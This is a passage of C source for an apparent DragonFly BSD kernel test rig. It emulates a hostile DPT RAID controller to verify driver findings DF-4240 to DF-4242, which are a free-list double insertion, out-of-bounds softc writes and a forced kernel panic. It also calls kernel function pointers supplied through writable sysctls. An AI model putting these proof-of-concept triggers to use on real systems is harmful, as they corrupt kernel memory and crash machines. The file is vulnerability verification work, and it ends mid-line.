DF-4240 / dfdpt_rig.c
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1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 1060 1061 1062 1063 1064 1065 1066 1067 1068 1069 1070 1071 1072 1073 1074 1075 1076 1077 1078 1079 1080 1081 1082 1083 1084 1085 1086 1087 1088 1089 1090 1091 1092 1093 1094 1095 1096 1097 1098 1099 1100 1101 1102 1103 1104 1105 1106 1107 1108 1109 1110 1111 1112 1113 1114 1115 1116 1117 1118 1119 1120 1121 1122 1123 1124 1125 1126 1127 1128 1129 1130 1131 1132 1133 1134 1135 1136 1137 1138 1139 1140 1141 1142 1143 1144 1145 1146 1147 1148 1149 1150 | /* * dfdpt_rig.c -- production-handler dispatch rig for the DragonFly dpt(4) * (DPT SmartRAID V EATA) driver, used to verify findings DF-4240, * DF-4241 and DF-4242 against sys/dev/raid/dpt/dpt_scsi.c. * * The dpt driver is compiled into X86_64_GENERIC (nm shows dpt_action, * dpt_poll, dptallocccbs, dpt_attach, dpt_init, dpt_intr), but this QEMU * guest has no DPT SmartRAID HBA, so dpt_pci_attach() never runs. This * rig stands in ONLY for the missing PCI hardware: * * - resolves the REAL static production handlers from the running * kernel image (no KASLR: file vaddr == runtime vaddr); the host * run script byte-verifies their prologues via sysctl before use; * globals (dpt_attach, dpt_intr, dpt_init) link directly; * - fabricates post-dpt_init softc state with REAL bus_dma tags, * REAL bus_dmamem for the dccb array + status packet, and populates * the free dccb list via the PRODUCTION dptallocccbs() resolved * from the kernel image; * - registers a REAL cam_sim whose sim_action/sim_poll ARE the * production dpt_action/dpt_poll, and drives the REAL CAM XPT layer * via xpt_action() with real xpt_alloc_ccb'd CCBs on a real * registered bus; * - plays the role of the host adapter: scripts a virtual register * file (dpt_inb/dpt_outb are plain volatile memory accesses when * the tag is X86_64_BUS_SPACE_MEM, sys/cpu/x86_64/include/bus_dma.h) * and writes completions into the DMA status packet exactly as the * hardware would, then delivers them to the production dpt_intr(). * * Everything from xpt_action, the XPT device queues, dpt_action, * dptexecuteccb, dptallocccbs, dptfreeccb (inlined), dpt_attach and * dpt_intr is production code executing from the shipped kernel image. * * Findings exercised: * DF-4241 duplicate device-fed status packet -> double free-list * insertion (self-loop) + double xpt_done + shared dccb * DF-4240 device-fed MAX_CHAN (channels=8) -> production dpt_attach * writes sims[3..7]/paths[3..7] OOB over live softc members * DF-4242 device-fed registers (HA_SERROR + 'DPTH' signature) -> * production dpt_intr executes panic("DPT Rebooted") * * Root-only device /dev/dfdpt0. Run order in a boot: DF-4241 then * DF-4240 (guest survives); DF-4242 panics the kernel, so it is run on * its own boot, last. */ #include <sys/param.h> #include <sys/systm.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/conf.h> #include <sys/malloc.h> #include <sys/lock.h> #include <sys/sysctl.h> #include <sys/proc.h> #include <sys/thread.h> #include <sys/kthread.h> #include <sys/callout.h> #include <sys/bus.h> #include <sys/device.h> #include <sys/rman.h> #include <sys/types.h> #include <sys/ioccom.h> #include <vm/vm.h> #include <vm/pmap.h> #include <bus/cam/cam.h> #include <bus/cam/cam_ccb.h> #include <bus/cam/cam_sim.h> #include <bus/cam/cam_xpt.h> #include <bus/cam/cam_xpt_sim.h> #include <bus/cam/cam_periph.h> #include <bus/cam/cam_xpt_periph.h> #include <bus/cam/scsi/scsi_all.h> #include <bus/cam/scsi/scsi_message.h> #include "dpt.h" #include <sys/bus_private.h> /* struct device (nameunit) */ /* ------------------------------------------------------------------ */ /* Production handler addresses, primed from userland (no KASLR). */ /* ------------------------------------------------------------------ */ static unsigned long a_dpt_action, a_dpt_poll, a_dptallocccbs; SYSCTL_ULONG(_kern, OID_AUTO, dfdpt_a_dptaction, CTLFLAG_RW, &a_dpt_action, 0, "runtime addr of production dpt_action"); SYSCTL_ULONG(_kern, OID_AUTO, dfdpt_a_dptpoll, CTLFLAG_RW, &a_dpt_poll, 0, "runtime addr of production dpt_poll"); SYSCTL_ULONG(_kern, OID_AUTO, dfdpt_a_dptallocccbs, CTLFLAG_RW, &a_dptallocccbs, 0, "runtime addr of production dptallocccbs"); /* first 8 bytes at each production address (host script verifies) */ static uint64_t m_dpt_action, m_dpt_poll, m_dptallocccbs; SYSCTL_ULONG(_kern, OID_AUTO, dfdpt_m_dptaction, CTLFLAG_RD, &m_dpt_action, 0, ""); SYSCTL_ULONG(_kern, OID_AUTO, dfdpt_m_dptpoll, CTLFLAG_RD, &m_dpt_poll, 0, ""); SYSCTL_ULONG(_kern, OID_AUTO, dfdpt_m_dptallocccbs, CTLFLAG_RD, &m_dptallocccbs, 0, ""); typedef void (*dpt_action_fn)(struct cam_sim *, union ccb *); typedef void (*dpt_poll_fn)(struct cam_sim *); typedef int (*dpt_allocccbs_fn)(dpt_softc_t *); /* ------------------------------------------------------------------ */ /* Fabricated state */ /* ------------------------------------------------------------------ */ #define RIG_MAX_DCCBS 64 #define RIG_UNIT 9 #define RIG_UNIT2 8 #define RIG_PAD 65536 /* guard runway after softc2 */ static uint8_t *regpage; /* virtual HBA register file */ static dpt_softc_t *dpt; /* softc #1: DF-4241 + DF-4242 */ static uint8_t *dpt_buf; /* backing store of softc #1 */ static dpt_softc_t *dpt2; /* softc #2: DF-4240 chan8 run */ static uint8_t *dpt2_buf; static struct cam_sim *rig_sim; static struct cam_path *io_path; /* target 3 lun 0 on our bus */ static struct cam_periph rig_periph; /* fabricated periph: type only */ static cdev_t rig_cdev; static struct lock rig_lock; /* ccb registry */ struct rig_cctx { union ccb *ccb; dpt_ccb_t *dccb; uint32_t dccb_busaddr; u_int comp_count; uint32_t last_status; }; #define RIG_NCCTX 16 static struct rig_cctx cctx[RIG_NCCTX]; static int ncctx; static d_open_t rig_open; static d_close_t rig_close; static d_ioctl_t rig_ioctl; static struct dev_ops rig_ops = { { "dfdpt", 0, D_MPSAFE, NULL, 0, 0 }, .d_open = rig_open, .d_close = rig_close, .d_ioctl = rig_ioctl, }; /* ioctls */ struct rig_state { int32_t err; uint32_t ccb_id; uint64_t ccb_kva; /* dccb of this id */ uint64_t free_head; uint64_t free_second; uint32_t free_selfloop; /* head->next == head */ uint32_t free_dups; /* target dccb appears >1 in walk */ uint32_t free_walk; /* walked nodes (bounded) */ uint32_t free_softc_ctr; /* dpt->free_dccbs */ uint32_t pending_walk; uint32_t ccb_status; uint32_t comp_count; uint32_t timer_pending; uint32_t dccb_state; uint32_t sp_busaddr; uint32_t sp_eoc; /* ioctl inputs */ uint32_t in_timeout; uint32_t in_eoc, in_hba, in_scsi, in_serr, in_dpth; uint32_t in_channels; }; struct rig_chan8_args { uint32_t channels; /* in: device-fed value (conf.MAX_CHAN+1) */ uint32_t attach_ret; /* out: dpt_attach() return (i) */ uint32_t channels_after; uint32_t canary_cp_before, canary_cp_after; uint32_t canary_li_before, canary_li_after; uint64_t oob_slot[10]; /* values found at sims[3..7]/paths[3..7] */ uint32_t runaway; /* stores past softc end (0xAA scan) */ uint32_t path3_is_sim; /* paths[0] now holds a cam_sim* */ uint64_t member_off[10]; /* byte offset of each OOB store */ }; struct rig_panic_args { uint32_t ccb_id; }; #define RIGIOC_QUEUE _IOWR('D', 1, struct rig_state) #define RIGIOC_INTR _IOWR('D', 2, struct rig_state) #define RIGIOC_SNAP _IOWR('D', 3, struct rig_state) #define RIGIOC_ALIAS _IOWR('D', 4, struct rig_state) #define RIGIOC_CHAN8 _IOWR('D', 5, struct rig_chan8_args) #define RIGIOC_PANIC _IOWR('D', 6, struct rig_panic_args) #define RIGIOC_DUPALIAS _IOWR('D', 7, struct rig_state) #define RIGIOC_FULLINIT _IOWR('D', 8, struct rig_chan8_args) static void rig_done(struct cam_periph *periph, union ccb *done_ccb); static __inline uint32_t rig_ccbvtop(dpt_softc_t *sc, dpt_ccb_t *dccb) { return ((uint32_t)(sc->dpt_ccb_busbase + (uint32_t)((caddr_t)dccb - (caddr_t)sc->dpt_dccbs))); } static void rig_done(struct cam_periph *periph, union ccb *done_ccb) { int i; for (i = 0; i < ncctx; i++) { if (cctx[i].ccb == done_ccb) { cctx[i].comp_count++; cctx[i].last_status = done_ccb->ccb_h.status; kprintf("[dptrig] rig_done: ccb id=%d completed " "(comp_count=%u status=0x%x)\n", i, cctx[i].comp_count, done_ccb->ccb_h.status); return; } } kprintf("[dptrig] rig_done: unknown ccb %p\n", done_ccb); } /* busdma map callback (mirror of production dptmapmem) */ static void rig_mapmem(void *arg, bus_dma_segment_t *segs, int nseg, int error) { bus_addr_t *busaddrp = (bus_addr_t *)arg; *busaddrp = segs->ds_addr; } /* * Build the "post-dpt_init" state of a softc with REAL busdma, exactly * the fields production dpt_init() sets up between its config fetch and * dptallocccbs() (dpt_scsi.c:1235-1415), then populate the free dccb * list through the PRODUCTION dptallocccbs(). */ static int rig_make_softc(dpt_softc_t *sc, int unit, uint32_t max_dccbs) { struct sg_map_node *sg_map; bus_dma_tag_t parent; size_t ccbsz; int error; /* DMA tag for our S/G structures (dpt_scsi.c:1235) */ error = bus_dma_tag_create(/*parent*/ NULL, /*alignment*/ 1, /*boundary*/ 0, BUS_SPACE_MAXADDR, BUS_SPACE_MAXADDR, PAGE_SIZE, /*nsegments*/ 1, BUS_SPACE_MAXSIZE_32BIT, /*flags*/ 0, &sc->sg_dmat); if (error) { kprintf("[dptrig] sg_dmat tag fail %d\n", error); return (error); } /* first S/G map (mirror of dptallocsgmap, dpt_scsi.c:297-318) */ sg_map = kmalloc(sizeof(*sg_map), M_DEVBUF, M_INTWAIT | M_ZERO); if (bus_dmamem_alloc(sc->sg_dmat, (void **)&sg_map->sg_vaddr, BUS_DMA_NOWAIT, &sg_map->sg_dmamap) != 0) { kfree(sg_map, M_DEVBUF); return (ENOMEM); } bus_dmamap_load(sc->sg_dmat, sg_map->sg_dmamap, sg_map->sg_vaddr, PAGE_SIZE, rig_mapmem, &sg_map->sg_physaddr, /*flags*/0); SLIST_INSERT_HEAD(&sc->sg_maps, sg_map, links); /* DMA tag for mapping buffers (dpt_scsi.c:1356) */ error = bus_dma_tag_create(NULL, 1, 0, BUS_SPACE_MAXADDR, BUS_SPACE_MAXADDR, MAXBSIZE, /*nsegments*/ DPT_MAX_SEGS, BUS_SPACE_MAXSIZE_32BIT, BUS_DMA_ALLOCNOW, &sc->buffer_dmat); if (error) { kprintf("[dptrig] buffer_dmat tag fail\n"); return (error); } /* DMA tag + memory for the ccb array and status packet * (dpt_scsi.c:1370-1408) */ ccbsz = (max_dccbs * sizeof(struct dpt_ccb)) + sizeof(dpt_sp_t); error = bus_dma_tag_create(NULL, 1, 0, BUS_SPACE_MAXADDR, BUS_SPACE_MAXADDR, ccbsz, 1, BUS_SPACE_MAXSIZE_32BIT, 0, &sc->dccb_dmat); if (error) { kprintf("[dptrig] dccb_dmat tag fail\n"); return (error); } if (bus_dmamem_alloc(sc->dccb_dmat, (void *)&sc->dpt_dccbs, BUS_DMA_NOWAIT, &sc->dccb_dmamap) != 0) { kprintf("[dptrig] dccb array alloc fail\n"); return (ENOMEM); } bus_dmamap_load(sc->dccb_dmat, sc->dccb_dmamap, sc->dpt_dccbs, ccbsz, rig_mapmem, &sc->dpt_ccb_busbase, /*flags*/0); bzero(sc->dpt_dccbs, ccbsz); sc->dpt_ccb_busend = sc->dpt_ccb_busbase; sc->sp = (volatile dpt_sp_t *)&sc->dpt_dccbs[max_dccbs]; sc->sp_physaddr = sc->dpt_ccb_busbase + (max_dccbs * sizeof(dpt_ccb_t)); sc->init_level = 5; /* mirrors production post-init */ sc->unit = unit; sc->max_dccbs = max_dccbs; sc->sgsize = DPT_MAX_SEGS; /* clamped production value */ sc->max_id = 15; sc->max_lun = 7; sc->hostid[0] = sc->hostid[1] = sc->hostid[2] = 7; sc->state |= DPT_HA_OK; /* the parent tag the PCI glue would have made (dpt_pci.c:134) */ error = bus_dma_tag_create(NULL, 1, 0, BUS_SPACE_MAXADDR_32BIT, BUS_SPACE_MAXADDR, BUS_SPACE_MAXSIZE_32BIT, BUS_SPACE_UNRESTRICTED, BUS_SPACE_MAXSIZE_32BIT, 0, &parent); if (error) return (error); sc->parent_dmat = parent; /* PRODUCTION free-list population */ if (((dpt_allocccbs_fn)a_dptallocccbs)(sc) == 0) { kprintf("[dptrig] production dptallocccbs made 0 ccbs\n"); return (ENXIO); } kprintf("[dptrig] softc%d: dccbs=%p busbase=0x%llx busend=0x%llx " "sp=%p total_dccbs=%d (production dptallocccbs)\n", unit, sc->dpt_dccbs, (unsigned long long)sc->dpt_ccb_busbase, (unsigned long long)sc->dpt_ccb_busend, (void *)(uintptr_t)sc->sp, sc->total_dccbs); return (0); } static int rig_setup(void) { struct cam_devq *devq; if (dpt != NULL) return (0); if (a_dpt_action == 0 || a_dpt_poll == 0 || a_dptallocccbs == 0) { kprintf("[dptrig] addresses not primed\n"); return (ENXIO); } regpage = kmalloc(PAGE_SIZE, M_DEVBUF, M_INTWAIT | M_ZERO); /* interrupt pending forever; aux-busy clear (dpt_send_eata_command * polls HA_ABUSY, dpt_intr polls HA_AIRQ) */ regpage[HA_RAUXSTAT] = HA_AIRQ; dpt_buf = kmalloc(sizeof(dpt_softc_t) + RIG_PAD, M_DEVBUF, M_INTWAIT | M_ZERO); dpt = (dpt_softc_t *)dpt_buf; dpt->tag = X86_64_BUS_SPACE_MEM; dpt->bsh = (bus_space_handle_t)(uintptr_t)regpage; SLIST_INIT(&dpt->free_dccb_list); LIST_INIT(&dpt->pending_ccb_list); SLIST_INIT(&dpt->sg_maps); if (rig_make_softc(dpt, RIG_UNIT, RIG_MAX_DCCBS) != 0) return (ENXIO); /* register the REAL sim: production dpt_action/dpt_poll over dpt. * The SIM lock must be held across registration (xpt_bus_register * asserts sim_lock_assert_owned, cam_sim.c:100). */ lockinit(&rig_lock, "dfdpt", 0, LK_CANRECURSE); devq = cam_simq_alloc(RIG_MAX_DCCBS); if (devq == NULL) return (ENOMEM); rig_sim = cam_sim_alloc((sim_action_func)a_dpt_action, (sim_poll_func)a_dpt_poll, "dpt", dpt, RIG_UNIT, &rig_lock, /*untagged*/2, /*tagged*/RIG_MAX_DCCBS, devq); cam_simq_release(devq); if (rig_sim == NULL) return (ENOMEM); lockmgr(&rig_lock, LK_EXCLUSIVE); if (xpt_bus_register(rig_sim, 0) != CAM_SUCCESS) { lockmgr(&rig_lock, LK_RELEASE); cam_sim_free(rig_sim); rig_sim = NULL; return (ENXIO); } if (xpt_create_path(&io_path, /*periph*/ NULL, cam_sim_path(rig_sim), 3, 0) != CAM_REQ_CMP) { lockmgr(&rig_lock, LK_RELEASE); return (ENXIO); } /* fabricated periph: xpt_done reads path->periph->type only * (cam_xpt.c), must be CAM_PERIPH_BIO. struct cam_path is private * to cam_xpt.c; periph is its first field, so write it via * offset 0. */ bzero(&rig_periph, sizeof(rig_periph)); rig_periph.type = CAM_PERIPH_BIO; rig_periph.path = io_path; rig_periph.periph_name = "dfdpt"; *(struct cam_periph **)(void *)io_path = &rig_periph; lockmgr(&rig_lock, LK_RELEASE); /* registration done */ /* prime magic prologue words for host-side verification */ m_dpt_action = *(volatile uint64_t *)a_dpt_action; m_dpt_poll = *(volatile uint64_t *)a_dpt_poll; m_dptallocccbs = *(volatile uint64_t *)a_dptallocccbs; kprintf("[dptrig] rig up: softc=%p sim=%p path_id=%d " "a_dpt_action=0x%lx\n", dpt, rig_sim, cam_sim_path(rig_sim), a_dpt_action); return (0); } /* walk the free dccb list with cycle/dup detection (NO SLIST_FOREACH: * the corrupted list is cyclic) */ static void rig_walk_freelist(struct rig_state *st) { dpt_ccb_t *cur; st->free_head = (uint64_t)(uintptr_t)SLIST_FIRST(&dpt->free_dccb_list); cur = SLIST_FIRST(&dpt->free_dccb_list); st->free_selfloop = (cur != NULL && SLIST_NEXT(cur, links) == cur); st->free_second = (uint64_t)(uintptr_t)(cur ? SLIST_NEXT(cur, links) : NULL); st->free_walk = 0; st->free_dups = 0; while (cur != NULL && st->free_walk < 200) { if (st->ccb_id < (uint32_t)ncctx && cctx[st->ccb_id].dccb == cur) st->free_dups++; cur = SLIST_NEXT(cur, links); st->free_walk++; } st->free_softc_ctr = (uint32_t)dpt->free_dccbs; } static void rig_capture(struct rig_state *st, uint32_t id) { struct ccb_hdr *ch; bzero(st, sizeof(*st)); st->err = 0; st->ccb_id = id; st->pending_walk = 0; LIST_FOREACH(ch, &dpt->pending_ccb_list, sim_links.le) st->pending_walk++; rig_walk_freelist(st); if (id < (uint32_t)ncctx && cctx[id].ccb != NULL && cctx[id].dccb != NULL) { st->ccb_kva = (uint64_t)(uintptr_t)cctx[id].dccb; st->ccb_status = cctx[id].ccb->ccb_h.status; st->comp_count = cctx[id].comp_count; st->timer_pending = callout_pending(cctx[id].ccb->ccb_h.timeout_ch); st->dccb_state = (uint32_t)cctx[id].dccb->state; } st->sp_busaddr = (uint32_t)dpt->sp->ccb_busaddr; st->sp_eoc = dpt->sp->EOC; } /* ------------------------------------------------------------------ */ /* Virtual HBA responder for the EATA config handshake (FULLINIT). */ /* Plays the controller firmware: watches HA_WCOMMAND writes, and on */ /* EATA_CMD_DMA_SEND_CP "DMAs" the requested config page into the */ /* buffer cp_dataDMA points at (inside the S/G map), fills the status */ /* packet, and raises HA_AIRQ -- exactly what the real HBA does. */ /* Production dpt_init() then parses this device-fed data. */ /* ------------------------------------------------------------------ */ static volatile int vhba_active; static volatile uint32_t vhba_polls; SYSCTL_UINT(_kern, OID_AUTO, dfdpt_vhba_polls, CTLFLAG_RD, &vhba_polls, 0, "vhba thread poll iterations"); static volatile uint32_t vhba_max_chan = 7; static dpt_softc_t *vhba_sc; static struct thread *vhba_td; static void rig_vhba_respond(dpt_softc_t *sc, uint32_t cp_busaddr) { struct sg_map_node *sm; uint8_t *sgva, *data, *cpva; struct eata_ccb *cp; uint32_t sgphys; sm = SLIST_FIRST(&sc->sg_maps); if (sm == NULL) return; sgva = (uint8_t *)sm->sg_vaddr; sgphys = (uint32_t)sm->sg_physaddr; cpva = sgva + (cp_busaddr - sgphys); /* the init ccb */ cp = (struct eata_ccb *)cpva; data = sgva + (ntohl(cp->cp_dataDMA) - sgphys); bzero(data, 512); if (cp->cp_page == 0xc1) { /* EATA configuration page: THE device-fed data */ dpt_conf_t c; bzero(&c, sizeof(c)); c.signature = 0x45415441; /* BE_EATA_SIGNATURE */ c.scsi_id0 = 7; c.scsi_id1 = 7; c.scsi_id2 = 7; c.queuesiz = htons(16); c.SGsiz = htons(32); c.MAX_ID = 15; /* 5-bit field */ c.MAX_CHAN = vhba_max_chan & 7; /* 3-bit field */ c.MAX_LUN = 7; bcopy(&c, data, sizeof(c)); kprintf("[dptrig] vhba: DMA'd config page 0xc1, " "MAX_CHAN=%u\n", c.MAX_CHAN); } else { kprintf("[dptrig] vhba: DMA'd empty page\n"); } /* status packet lives at the head of the S/G map */ { volatile dpt_sp_t *sp = (volatile dpt_sp_t *)sgva; sp->hba_stat = HA_NO_ERROR; sp->scsi_stat = SCSI_STATUS_OK; sp->residue_len = 0; sp->EOC = 1; sp->ccb_busaddr = ~0; } } /* * EATA config-handshake emulation over a PASSIVE register file. The * real controller clears its interrupt when the driver reads * HA_RSTATUS; a memory file cannot, so back-to-back dpt_get_conf() * calls would race a stale HA_AIRQ. The protocol below avoids any * such race deterministically: * * resp#1 data + sp zeroed, status = 0xD0 (READY|SSC|BUSY -- note * SERROR bit CLEAR, so the driver's first get_conf succeeds), * raise AIRQ. The driver parses, then spins in the SECOND * get_conf's pre-send loop: 0xD0 fails the ready check and * dpt_wait() sees BUSY, so it re-checks every 50us. * +20ms the driver is guaranteed parked there (its bzeroes are * done). Write sp->scsi_stat = SCSI_STATUS_CHECK_COND and * set status = 0x50. The driver proceeds, writes the * command (0xff) to the shared cmd/status register, polls * HA_AUXSTAT -- sees the stale AIRQ, reads status 0xff * (SERROR set) -- and then the CHECK_COND short-circuit at * dpt_scsi.c:561 makes it return SUCCESS for the inquiry. * call#3 detect_cache(): its buffer was bzeroed by the driver; * buff[0] != 0x33 makes it return early all by itself. */ static void rig_vhba_thread(void *arg) { uint8_t prev = 0; kprintf("[dptrig] vhba: thread alive, regpage=%p\n", regpage); while (vhba_td != NULL) { uint8_t cmd = regpage[HA_WCOMMAND]; uint32_t busaddr; vhba_polls++; if (cmd != prev) { prev = cmd; kprintf("[dptrig] vhba: cmd write 0x%02x seen " "(active=%d sc=%p poll#%u)\n", cmd, vhba_active, vhba_sc, vhba_polls); if (vhba_active && cmd == EATA_CMD_DMA_SEND_CP && vhba_sc != NULL) { busaddr = *(volatile uint32_t *) ®page[HA_WDMAADDR]; /* DMA in flight... */ regpage[HA_RAUXSTAT] &= ~HA_AIRQ; regpage[HA_RSTATUS] = 0xD0; tsleep(&vhba_td, 0, "vhbadma", hz / 50); rig_vhba_respond(vhba_sc, busaddr); regpage[HA_RSTATUS] = 0xD0; /* gate #2 */ regpage[HA_RAUXSTAT] |= HA_AIRQ; /* let the driver parse and park in the * second get_conf's pre-send wait loop */ tsleep(&vhba_td, 0, "vhbapark", hz / 50); { struct sg_map_node *sm = SLIST_FIRST(&vhba_sc->sg_maps); volatile dpt_sp_t *sp = (volatile dpt_sp_t *)sm->sg_vaddr; sp->scsi_stat = SCSI_STATUS_CHECK_COND; } regpage[HA_RSTATUS] = HA_SREADY | HA_SSC; kprintf("[dptrig] vhba: handshake complete " "(inquiry released)\n"); } } tsleep(&vhba_td, 0, "vhbaidle", hz / 100); } kthread_exit(); } /* run production dpt_init() over a device-fed config with * MAX_CHAN=vhba_max_chan, then production dpt_attach() -- full * DF-4240 path from config parsing to the channel loop */ static int rig_fullinit(struct rig_chan8_args *ca) { dpt_softc_t *sc; size_t scsz = sizeof(dpt_softc_t); size_t off_sims, off_paths, off_end; bus_dma_tag_t parent; int i, k, retval; uint64_t *slot; uint8_t *p; if (regpage == NULL) { regpage = kmalloc(PAGE_SIZE, M_DEVBUF, M_INTWAIT | M_ZERO); } /* clean register file for the config handshake */ bzero(regpage, 16); regpage[HA_RSTATUS] = HA_SREADY | HA_SSC; p = kmalloc(scsz + RIG_PAD, M_DEVBUF, M_INTWAIT); memset(p, 0xAA, scsz + RIG_PAD); bzero(p, scsz); sc = (dpt_softc_t *)p; sc->tag = X86_64_BUS_SPACE_MEM; sc->bsh = (bus_space_handle_t)(uintptr_t)regpage; sc->unit = 7; SLIST_INIT(&sc->free_dccb_list); /* production dpt_alloc does this */ LIST_INIT(&sc->pending_ccb_list); if (bus_dma_tag_create(NULL, 1, 0, BUS_SPACE_MAXADDR_32BIT, BUS_SPACE_MAXADDR, BUS_SPACE_MAXSIZE_32BIT, BUS_SPACE_UNRESTRICTED, BUS_SPACE_MAXSIZE_32BIT, 0, &parent) != 0) return (ENOMEM); sc->parent_dmat = parent; off_sims = offsetof(dpt_softc_t, sims); off_paths = offsetof(dpt_softc_t, paths); kprintf("[dptrig] FULLINIT: softc=%p off(sims)=%zu off(paths)=%zu " "device MAX_CHAN=%u -> PRODUCTION dpt_init()\n", sc, off_sims, off_paths, ca->channels ? ca->channels - 1 : 7); vhba_max_chan = ca->channels ? ca->channels - 1 : 7; vhba_sc = sc; vhba_active = 1; if (vhba_td == NULL) { if (kthread_create(rig_vhba_thread, NULL, &vhba_td, "dfdpt_vhba") != 0) vhba_td = NULL; } retval = dpt_init(sc); /* PRODUCTION: parses device-fed config */ vhba_active = 0; kprintf("[dptrig] FULLINIT: dpt_init()=%d channels=%u (device said " "MAX_CHAN+1=%u)%s\n", retval, sc->channels, vhba_max_chan + 1, sc->channels > MAX_CHANNELS ? " <<- UNCLAMPED" : " [clamped to MAX_CHANNELS]"); if (retval != 0) return (ENXIO); /* canaries in the members the OOB stores would hit */ ca->canary_cp_before = 0x41414141; ca->canary_li_before = 0x42424242; sc->commands_processed = 0x41414141; sc->lost_interrupts = 0x42424242; cam_sim_lock(&sim_mplock); ca->attach_ret = (uint32_t)dpt_attach(sc); /* PRODUCTION */ cam_sim_unlock(&sim_mplock); ca->channels_after = sc->channels; ca->canary_cp_after = sc->commands_processed; ca->canary_li_after = sc->lost_interrupts; for (i = 3; i < 8; i++) { slot = (uint64_t *)(void *)((uint8_t *)sc + off_sims + 8 * i); ca->oob_slot[i - 3] = *slot; ca->member_off[i - 3] = off_sims + 8 * i; kprintf("[dptrig] FULLINIT OOB: &sims[%d] (+%zu) = %p\n", i, off_sims + 8 * i, (void *)(uintptr_t)*slot); } for (i = 3; i < 8; i++) { slot = (uint64_t *)(void *)((uint8_t *)sc + off_paths + 8 * i); ca->oob_slot[5 + (i - 3)] = *slot; ca->member_off[5 + (i - 3)] = off_paths + 8 * i; kprintf("[dptrig] FULLINIT OOB: &paths[%d] (+%zu) = %p\n", i, off_paths + 8 * i, (void *)(uintptr_t)*slot); } { uint64_t v = *(uint64_t *)(void *)((uint8_t *)sc + off_paths); ca->path3_is_sim = (v == ca->oob_slot[0]); kprintf("[dptrig] FULLINIT: paths[0]=%p vs sims[3]=%p -> " "SIM pointer in paths[0]: %s\n", (void *)(uintptr_t)v, (void *)(uintptr_t)ca->oob_slot[0], ca->path3_is_sim ? "YES (type confusion)" : "no"); } off_end = scsz & ~7; ca->runaway = 0; for (k = 0, p = (uint8_t *)sc + off_end; k < (int)(RIG_PAD - 64); k += 8, p += 8) { uint64_t v = *(uint64_t *)(void *)p; if (v != 0xAAAAAAAAAAAAAAAAull) ca->runaway++; } kprintf("[dptrig] FULLINIT: attach_ret=%u channels=%u canary cp " "0x%x->0x%x li 0x%x->0x%x runaway=%u\n", ca->attach_ret, ca->channels, ca->canary_cp_before, ca->canary_cp_after, ca->canary_li_before, ca->canary_li_after, ca->runaway); return (0); } /* ------------------------------------------------------------------ */ /* ioctl dispatch */ /* ------------------------------------------------------------------ */ static int rig_open(struct dev_open_args *ap) { return (0); } static int rig_close(struct dev_close_args *ap) { return (0); } static int rig_queue_one(uint32_t timeout_ms) { union ccb *ccb; struct rig_cctx *cx; struct ccb_hdr *ch; int id, on_pending; if (ncctx >= RIG_NCCTX) return (-1); ccb = xpt_alloc_ccb(); callout_init(ccb->ccb_h.timeout_ch); /* xpt_alloc_ccb zeroes it */ xpt_setup_ccb(&ccb->ccb_h, io_path, /*priority*/ 1); ccb->ccb_h.func_code = XPT_SCSI_IO; ccb->ccb_h.cbfcnp = rig_done; ccb->ccb_h.timeout = timeout_ms; ccb->ccb_h.flags = CAM_DIR_NONE; ccb->csio.cdb_len = 6; ccb->csio.cdb_io.cdb_bytes[0] = 0x00; /* TUR */ ccb->csio.sense_len = 0; ccb->csio.dxfer_len = 0; ccb->csio.data_ptr = NULL; id = ncctx; cx = &cctx[id]; cx->ccb = ccb; cx->dccb = NULL; cx->dccb_busaddr = 0; cx->comp_count = 0; cx->last_status = 0; ncctx++; lockmgr(&rig_lock, LK_EXCLUSIVE); xpt_action(ccb); /* production XPT -> dpt_action */ lockmgr(&rig_lock, LK_RELEASE); /* dpt_action stored the dccb pointer for us */ cx->dccb = (dpt_ccb_t *)(uintptr_t)ccb->ccb_h.spriv_ptr0; if (cx->dccb != NULL) cx->dccb_busaddr = rig_ccbvtop(dpt, cx->dccb); on_pending = 0; LIST_FOREACH(ch, &dpt->pending_ccb_list, sim_links.le) { if ((dpt_ccb_t *)(uintptr_t)ch->spriv_ptr0 == cx->dccb) { on_pending = 1; break; } } kprintf("[dptrig] QUEUE id=%d ccb=%p dccb=%p busaddr=0x%08x " "status=0x%x on_pending=%u state=%u\n", id, ccb, cx->dccb, cx->dccb_busaddr, ccb->ccb_h.status, on_pending, cx->dccb ? (uint32_t)cx->dccb->state : 0xFFFFFFFFu); return (id); } static int rig_ioctl(struct dev_ioctl_args *ap) { u_long cmd = ap->a_cmd; caddr_t data = ap->a_data; struct rig_state *st; int error = 0; if (cmd == RIGIOC_CHAN8 || cmd == RIGIOC_FULLINIT) { /* DF-4240 paths build their own softc; no priming needed * beyond a_dptallocccbs which chan8 setup uses */ if (cmd == RIGIOC_CHAN8 && a_dptallocccbs == 0) { kprintf("[dptrig] addresses not primed\n"); return (ENXIO); } } else { if (dpt == NULL) { error = rig_setup(); if (error) return (error); } } switch (cmd) { case RIGIOC_QUEUE: { st = (struct rig_state *)data; int id; id = rig_queue_one(st->in_timeout ? st->in_timeout : 60000); if (id < 0) return (ENOMEM); bzero(st, sizeof(*st)); rig_capture(st, (uint32_t)id); break; } case RIGIOC_SNAP: { st = (struct rig_state *)data; lockmgr(&rig_lock, LK_EXCLUSIVE); rig_capture(st, st->ccb_id); lockmgr(&rig_lock, LK_RELEASE); break; } case RIGIOC_INTR: { st = (struct rig_state *)data; dpt_ccb_t *target; uint32_t busaddr, ia_ccb, ia_eoc, ia_hba, ia_scsi, ia_serr, ia_dpth; ia_ccb = st->ccb_id; ia_eoc = st->in_eoc; ia_hba = st->in_hba; ia_scsi = st->in_scsi; ia_serr = st->in_serr; ia_dpth = st->in_dpth; if (ia_ccb >= (uint32_t)ncctx || cctx[ia_ccb].dccb == NULL) return (EINVAL); target = cctx[ia_ccb].dccb; busaddr = cctx[ia_ccb].dccb_busaddr; /* the host adapter DMA-writes the status packet */ dpt->sp->hba_stat = ia_hba & 0x7f; dpt->sp->EOC = ia_eoc & 1; dpt->sp->scsi_stat = ia_scsi; dpt->sp->residue_len = 0; dpt->sp->ccb_busaddr = busaddr; if (ia_serr) regpage[HA_RSTATUS] = HA_SERROR; else regpage[HA_RSTATUS] = 0; if (ia_dpth) { regpage[2] = 'D'; regpage[3] = 'P'; regpage[4] = 'T'; regpage[5] = 'H'; } kprintf("[dptrig] INTR: firmware completes dccb=%p " "busaddr=0x%08x eoc=%u hba=%u scsi=%u%s%s -> " "production 